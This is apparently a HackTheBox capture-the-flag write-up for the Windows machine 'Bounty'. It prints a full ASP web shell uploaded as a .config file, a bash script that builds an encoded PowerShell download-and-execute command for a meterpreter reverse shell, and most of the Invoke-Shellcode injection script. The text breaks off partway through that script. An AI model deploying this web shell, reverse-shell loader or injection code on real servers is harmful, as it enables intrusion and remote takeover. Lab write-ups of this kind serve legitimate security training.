HackTheBox Writeup— Bounty

Hello Guys , I am Faisal Husaini. My username on HTB is “smoke” .

This box was one of the pain for me while solving , and if you have solved then you might know why , if not , you will know now

This is a Windows machine on Hack The Box with IP 10.10.10.93

We do nmap scan using the command “nmap -sC -sV -oA nmap 10.10.10.93”

NMAP Result

We see only port 80 open for http service , so lets open it on browser by typing the IP ,i.e, 10.10.10.93 and also its running IIS 7.5 which tells us the box is either Windows 7 or 2008 R2 Server

When we access http://10.10.10.93 on a browser , we get

http://10.10.10.93

Nothing interesting , lets see the Source Code of this page

Source Code

Nothing interesting in the source code , lets move to gobuster

We use the command “gobuster -u http://10.10.10.93/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt”

Gobuster

We got a directory named as “UploadedFiles” , lets check it after gobuster finishes

As this is a Windows box , lets try gobuster with an extension file search for aspx using the -x options along with the file extension format

Gobuster with aspx extension

We get /transfer.apsx , lets check what does it have

From the gobuster scan without the .aspx extension we get a directory named “uploadedfiles”

403 Forbidden

It says 403 Forbidden , lets move to other results we get from .aspx extension

From the gobuster scan with inclusion of .aspx , we get a file in the server named as “transfer.aspx”

transfer.aspx

Here we get a file upload , so we try to upload some jpg or png files and check whether it uploads or not.

We here try to upload a png file first

Uploading a png file

And then we click on Upload and see what happens

File Upload Successful

We see that it accepts png files , as this is Windows Server , lets try to upload a .aspx file

For that we will find for reverse shell or web shells written on aspx which we will use from /usr/share/webshells/aspx/cmdasp.aspx of Kali Linux

Uploading aspx file

And now we click on upload and see what happens

Upload Failed

It says invalid file , so now we have to check which file extensions it accepts using Burp Intruder

Here we will run a brute force scan to check which extensions does the transfer.aspx page accepts for uploading using Burp Intruder.

For that I have created a list of extensions in a file named “ext.txt”

Now we will run the Burp Intruder scan after intercepting the request and then sending to Intruder

Burp Extension Enumeration

Here we see that it accepts files extensions like .jpeg, .jpg, .png , .gif, .docx, .doc, .docx, .xls, .xlsx, .config

.config relates to IIS , so this extension in interesting

Now we add a asp web shell code to any .config file extension and then upload , this machine is little trickier as it deleted what we upload like about in a minute , cronjob maybe which removes the files we upload, so here we upload the below asp web shell with the name as “test.asp.config”

<%@ Language = “JScript” %>
<%
/*
We will upload this asp shell code as test.asp.config
*/
var version = “0.2 (beta) [2007–09–29]”;
var homepagelink = “http://aspshell.sourceforge.net";

var q = Request(“q”)();
var cd = Request(“cd”)();
if (q)
{
var command = “”;
var output = “”;
if (q.length == 0)
{
q = “:”;
}
command = “” + q;
if (command == “?”)
{
output = “ ? this help page\n” +
“ :sv all server variables\n” +
“ <shell command> execute any shell command\n”;
}
else if (command.toLowerCase() == “:sv”)
{
var sv = “”;
var svvalue = “”;
var esv = new Enumerator(Request.ServerVariables);
for (; !esv.atEnd(); esv.moveNext())
{
sv = esv.item();
output += sv;
output += “: “;
svvalue = “” + Request.ServerVariables(sv);
if (svvalue.indexOf(“\n”) >= 0)
{
output += “\n”;
var svitems = svvalue.split(“\n”);
for (var i=0; i<svitems.length; i++)
{
if (svitems[i].length > 0)
{
output += “ “;
output += svitems[i];
output += “\n”;
}
}
}
else
{
output += svvalue;
output += “\n”;
}
}
}
else if (command.toLowerCase() == “:cd”)
{
var fso = new ActiveXObject(“Scripting.FileSystemObject”);
output = fso.GetAbsolutePathName(“.”);
}
else if (/^:checkdir\s(.*)?$/i.test(command))
{
var newdirabs = “”;
var newdir = RegExp.$1;
var fso = new ActiveXObject(“Scripting.FileSystemObject”);
var cdnorm = fso.GetFolder(cd).Path;
if (/^\\/i.test(newdir))
{
newdirabs = fso.GetFolder(cd).Drive + newdir;
}
else if (/^\w:/i.test(newdir))
{
newdirabs = fso.GetAbsolutePathName(newdir);
}
else
{
newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + “\\” + newdir);
}
output = fso.FolderExists(newdirabs) ? newdirabs : “fail”;
}
else
{
var changedir = “”;
var currdrive = “”;
var currpath = “”;
var colonpos = cd.indexOf(“:”);
if (colonpos >= 0) {
currdrive = cd.substr(0, colonpos+1);
currpath = cd.substr(colonpos+1);
changedir = currdrive + “ && cd \”” + currpath + “\” && “;
}
var shell = new ActiveXObject(“WScript.Shell”);
var pipe = shell.Exec(“%comspec% /c \”” + changedir + command + “\””);
output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll();
}
Response.Write(output);
}
else
{
var fso = new ActiveXObject(“Scripting.FileSystemObject”);
var currentpath = fso.GetAbsolutePathName(“.”);
var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath));
var drivepath = currentdrive.Path;
%>
<html>

<head>
<meta HTTP-EQUIV=”Content-Type” Content=”text/html; charset=Windows-1252">
<style><! —
body {
background: #000000;
color: #CCCCCC;
font-family: courier new;
font-size: 10pt
}
input {
background: #000000;
color: #CCCCCC;
border: none;
font-family: courier new;
font-size: 10pt;
}
→</style>

<script language=”JavaScript”><! —

var history = new Array();
var historypos = 0;
var currentdirectory = “”;
var checkdirectory = “”;

function ajax(url, vars, callbackFunction)
{
var request = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(“MSXML2.XMLHTTP.3.0”);
request.open(“POST”, url, true);
request.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
request.onreadystatechange = function()
{
if (request.readyState == 4 && request.status == 200)
{
if (request.responseText)
{
callbackFunction(request.responseText);
}
}
}
request.send(vars);
}

function FormatOutput(txt)
{
return txt.replace(/</g, “&lt;”).replace(/>/g, “&gt;”).replace(/\x20/g, “&nbsp;”).replace(/\t/g, “&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;”).replace(/\n/g, “<br/>”);
}

function KeyDownEventHandler(ev)
{
document.all(“q”).focus();
if (!ev)
{
ev = window.event;
}
if (ev.which)
{
keycode = ev.which;
}
else if (ev.keyCode)
{
keycode = ev.keyCode;
}
if (keycode == 13)
{
var cmd = document.all(“q”).value;
outputAvailable(“[“ + currentdirectory + “] “ + cmd);
if (/cd\s+(\”?)(.*)?\1\s*$/i.test(cmd))
{
checkdirectory = RegExp.$2;
ajax(document.URL, “q=” + encodeURIComponent(“:checkdir “ + RegExp.$2) + “&cd=” + encodeURIComponent(currentdirectory), checkdirAvailable);
history[history.length] = cmd;
historypos = history.length;
}
else if (cmd.length > 0)
{
ajax(document.URL, “q=” + encodeURIComponent(cmd) + “&cd=” + encodeURIComponent(currentdirectory), outputAvailable);
history[history.length] = cmd;
historypos = history.length;
}
}
else if (keycode == 38 && historypos > 0)
{
historypos — ;
document.all(“q”).value = history[historypos];
}
else if (keycode == 40 && historypos < history.length)
{
historypos++;
if (historypos == history.length)
{
document.all(“q”).value = “”;
}
else {
document.all(“q”).value = history[historypos];
}
}
}

function outputAvailable(output)
{
var newelem = document.createElement(“DIV”);
newelem.innerHTML = FormatOutput(output);
document.all(“output”).appendChild(newelem);
var oldYPos = 0, newYPos = 0;
var scroll = true;
do
{
if (document.all)
{
oldYPos = document.body.scrollTop;
}
else
{
oldYPos = window.pageYOffset;
}
window.scrollBy(0, 100);
if (document.all)
{
newYPos = document.body.scrollTop;
}
else
{
newYPos = window.pageYOffset;
}
} while (oldYPos < newYPos);
document.all(“q”).value = “”;
}

function checkdirAvailable(output)
{
if (output.toLowerCase() == “fail”)
{
outputAvailable(“The system cannot find the path specified.”);
}
else {
SetCurrentDirectory(output);
}
}

function SetCurrentDirectory(output)
{
currentdirectory = output;
document.all(“prompt”).innerHTML = “[“ + output + “]”;
}

function GetCurrentDirectory()
{
ajax(document.URL, “q=” + encodeURIComponent(“:cd”), SetCurrentDirectory);
}

function InitPage()
{
document.all(“q”).focus();
document.onkeydown = KeyDownEventHandler;
GetCurrentDirectory();
}
// →</script>

<title id=titletext>Web Shell</title>
</head>

<body onload=”InitPage()”>

<div id=”output”>
<div id=”greeting”>
ASPShell — Web-based Shell Environment Version <%=version%><br/>
Copyright © 2007 Kurt Hanner, <a href=”<%=homepagelink%>”><%=homepagelink%></a><br/><br/>
</div>
</div>

<label id=”prompt”>[undefined]</label>
<input type=”text” name=”q” maxlength=1024 size=72>

</body>
</html>
<%
}
%>

Uploading test.asp.config

And now we click on Upload , but before that , we will intercept this request through Burp and then send to Repeater (because this machine deletes the uploaded files in less than a minute , so we will have to upload it again and again).

Upload Successful

The asp web shell got uploaded successfully , now we will try to access our webshell from /UploadedFiles/test.asp.config

Accessing the test.asp.config file

It gives 404 , as I said before this machines cleans the file in less than a minute , so we have to upload it again , for that I have ease myself using the request in the Repeater tab (this took so many attempts of shell uploaded to be able to access it)

Web Shell Accessed

So finally we got access to our webshell , but this will be removed in less than a minute , so we need to be fast to get a reverse meterpreter shell

Web Shell

But after a minute or something , if we try to run any command , it doesn't work , as the shell has been removed , to confirm that you could refresh the page and again get the 404 page like before , so for that you need to again upload using Repeater like I did before

Reuploading from Burp Repeater

Now we will use some automation which I did

Here is the bash script which I used to automate the things

#!/bin/bash

# meterpreter ip & port
lhost=10.10.14.70
lport=443

echo “ * Writing Payload”
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force” >> payload

echo “ * Prepping Command”
scriptblock=”iex (New-Object Net.WebClient).DownloadString(‘http://$lhost:8000/payload')"
echo $scriptblock

echo
echo “ * Encoding command”
encode=”`echo $scriptblock | iconv — to-code UTF-16LE | base64 -w 0`”
echo $encode

command=”cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode”
echo
echo “ * Final command”
echo $command

echo
echo “ * Starting HTTP Server to serve payload”
python -m SimpleHTTPServer 8000

We save this bash script as powershell.sh

Running the poweshell.sh script

After running the script , we saw the script created a file named “payload” in the same working directory , now lets see what is in the “payload” file

Also it shows the encoding command and final command which we will copy and paste it on the web shell to get the reverse meterpreter

function Invoke-Shellcode
{

[CmdletBinding( DefaultParameterSetName = ‘RunLocal’, SupportsShouldProcess = $True , ConfirmImpact = ‘High’)] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,

[Parameter( ParameterSetName = ‘RunLocal’ )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,

[Parameter( ParameterSetName = ‘Metasploit’ )]
[ValidateSet( ‘windows/meterpreter/reverse_http’,
‘windows/meterpreter/reverse_https’,
IgnoreCase = $True )]
[String]
$Payload = ‘windows/meterpreter/reverse_http’,

[Parameter( ParameterSetName = ‘ListPayloads’ )]
[Switch]
$ListMetasploitPayloads,

[Parameter( Mandatory = $True,
ParameterSetName = ‘Metasploit’ )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = ‘127.0.0.1’,

[Parameter( Mandatory = $True,
ParameterSetName = ‘Metasploit’ )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,

[Parameter( ParameterSetName = ‘Metasploit’ )]
[ValidateNotNull()]
[String]
$UserAgent = ‘Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)’,

[Switch]
$Force = $False
)

Set-StrictMode -Version 2.0

# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq ‘ListPayloads’)
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters[‘Payload’].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}

foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}

Return
}

if ( $PSBoundParameters[‘ProcessID’] )
{
# Ensure a valid process ID was provided
# This could have been validated via ‘ValidateScript’ but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}

function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]

[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),

[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)

$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(‘InMemoryModule’, $false)
$TypeBuilder = $ModuleBuilder.DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor(‘RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags(‘Runtime, Managed’)
$MethodBuilder = $TypeBuilder.DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags(‘Runtime, Managed’)

Write-Output $TypeBuilder.CreateType()
}

function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]

[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,

[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)

# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\\’)[-1].Equals(‘System.dll’) }
$UnsafeNativeMethods = $SystemAssembly.GetType(‘Microsoft.Win32.UnsafeNativeMethods’)
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod(‘GetModuleHandle’)
$GetProcAddress = $UnsafeNativeMethods.GetMethod(‘GetProcAddress’)
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}

# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8

function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString(“X$($IntSizePtr*2)”) -split ‘([A-F0–9]{2})’ | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] (‘0x{0}’ -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)

Write-Output $LittleEndianByteArray
}

$CallStub = New-Object Byte[](0)

if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}

Write-Output $CallStub
}

function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)

if (!$hProcess)
{
Throw “Unable to open a process handle for PID: $ProcessID”
}

$IsWow64 = $false

if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null

if ((!$IsWow64) -and $PowerShell32bit)
{
Throw ‘Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.’
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw ‘No shellcode was placed in the $Shellcode32 variable!’
}

$Shellcode = $Shellcode32
Write-Verbose ‘Injecting into a Wow64 process.’
Write-Verbose ‘Using 32-bit shellcode.’
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw ‘No shellcode was placed in the $Shellcode64 variable!’
}

$Shellcode = $Shellcode64
Write-Verbose ‘Using 64-bit shellcode.’
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw ‘No shellcode was placed in the $Shellcode32 variable!’
}

$Shellcode = $Shellcode32
Write-Verbose ‘Using 32-bit shellcode.’
}

# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)

if (!$RemoteMemAddr)
{
Throw “Unable to allocate shellcode memory in PID: $ProcessID”
}

Write-Verbose “Shellcode memory reserved at 0x$($RemoteMemAddr.ToString(“X$([IntPtr]::Size*2)”))”

# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null

# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32

Write-Verbose ‘Emitting 32-bit assembly call stub.’
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64

Write-Verbose ‘Emitting 64-bit assembly call stub.’
}

# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)

if (!$RemoteStubAddr)
{
Throw “Unable to allocate thread call stub memory in PID: $ProcessID”
}

Write-Verbose “Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString(“X$([IntPtr]::Size*2)”))”

# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null

# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)

if (!$ThreadHandle)
{
Throw “Unable to launch remote thread in PID: $ProcessID”
}

# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null

Write-Verbose ‘Shellcode injection complete!’
}

function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw ‘No shellcode was placed in the $Shellcode32 variable!’
return
}

$Shellcode = $Shellcode32
Write-Verbose ‘Using 32-bit shellcode.’
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw ‘No shellcode was placed in the $Shellcode64 variable!’
return
}

$Shellcode = $Shellcode64
Write-Verbose ‘Using 64-bit shellcode.’
}

# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw “Unable to allocate shellcode memory in PID: $ProcessID”
}

Write-Verbose “Shellcode memory reserved at 0x$($BaseAddress.ToString(“X$([IntPtr]::Size*2)”))”

# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)

# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32

Write-Verbose ‘Emitting 32-bit assembly call stub.’
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64

Write-Verbose ‘Emitting 64-bit assembly call stub.’
}

# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw “Unable to allocate thread call stub.”
}

Write-Verbose “Thread call stub memory reserved at 0x$($CallStubAddress.ToString(“X$([IntPtr]::Size*2)”))”

# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)

# Launch shellcode in it’s own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw “Unable to launch thread.”
}

# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null

$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)

Write-Verbose ‘Shellcode injection complete!’
}

# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)

$64bitCPU = $true
}
else
{
$64bitCPU = $false
}

if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}

if ($PsCmdlet.ParameterSetName -eq ‘Metasploit’)
{
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script’s contents and pass it to 32-bit powershell with the same parameters passed to this function

# Pull out just the content of the this script’s invocation.
$RootInvocation = $MyInvocation.Line

$Response = $True

if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( “Do you want to launch the payload from x86 Powershell?”,
“Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process.” ) ) ) { }

if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}

# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters[‘Force’])
{
Write-Verbose “Executing the following from 32-bit PowerShell: $RootInvocation”
$Command = “function $($MyInvocation.InvocationName) {`n” + $MyInvocation.MyCommand.ScriptBlock + “`n}`n$($RootInvocation)`n`n”
}
else
{
Write-Verbose “Executing the following from 32-bit PowerShell: $RootInvocation -Force”
$Command = “function $($MyInvocation.InvocationName) {`n” + $MyInvocation.MyCommand.ScriptBlock + “`n}`n$($RootInvocation) -Force`n`n”
}

$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)

$Execute = ‘$Command’ + “ | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -”
Invoke-Expression -Command $Execute | Out-Null

# Exit the script since the shellcode will be running from x86 PowerShell
Return
}

$Response = $True

if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( “Do you know what you’re doing?”,
“About to download Metasploit payload ‘$($Payload)’ LHOST=$($Lhost), LPORT=$($Lport)” ) ) ) { }

if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}

switch ($Payload)
{
‘windows/meterpreter/reverse_http’
{
$SSL = ‘’
}

‘windows/meterpreter/reverse_https’
{
$SSL = ‘s’
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
}

# Meterpreter expects ‘INITM’ in the URI in order to initiate stage 0. Awesome authentication, huh?
$Request = “http$($SSL)://$($Lhost):$($Lport)/INITM”
Write-Verbose “Requesting meterpreter payload from $Request”

$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add(‘user-agent’, “$UserAgent”)

try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw “$($Error[0].Exception.InnerException.InnerException.Message)”
}
[Byte[]] $Shellcode64 = $Shellcode32

}
elseif ($PSBoundParameters[‘Shellcode’])
{
# Users passing in shellcode through the ‘-Shellcode’ parameter are responsible for ensuring it targets
# the correct architechture — x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc… or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc…
# Insert your shellcode here in the for 0xXX,0xXX,…
# 32-bit payload
# msfpayload windows/exec CMD=”cmd /k calc” EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)

# 64-bit payload
# msfpayload windows/x64/exec CMD=”calc” EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}

if ( $PSBoundParameters[‘ProcessID’] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
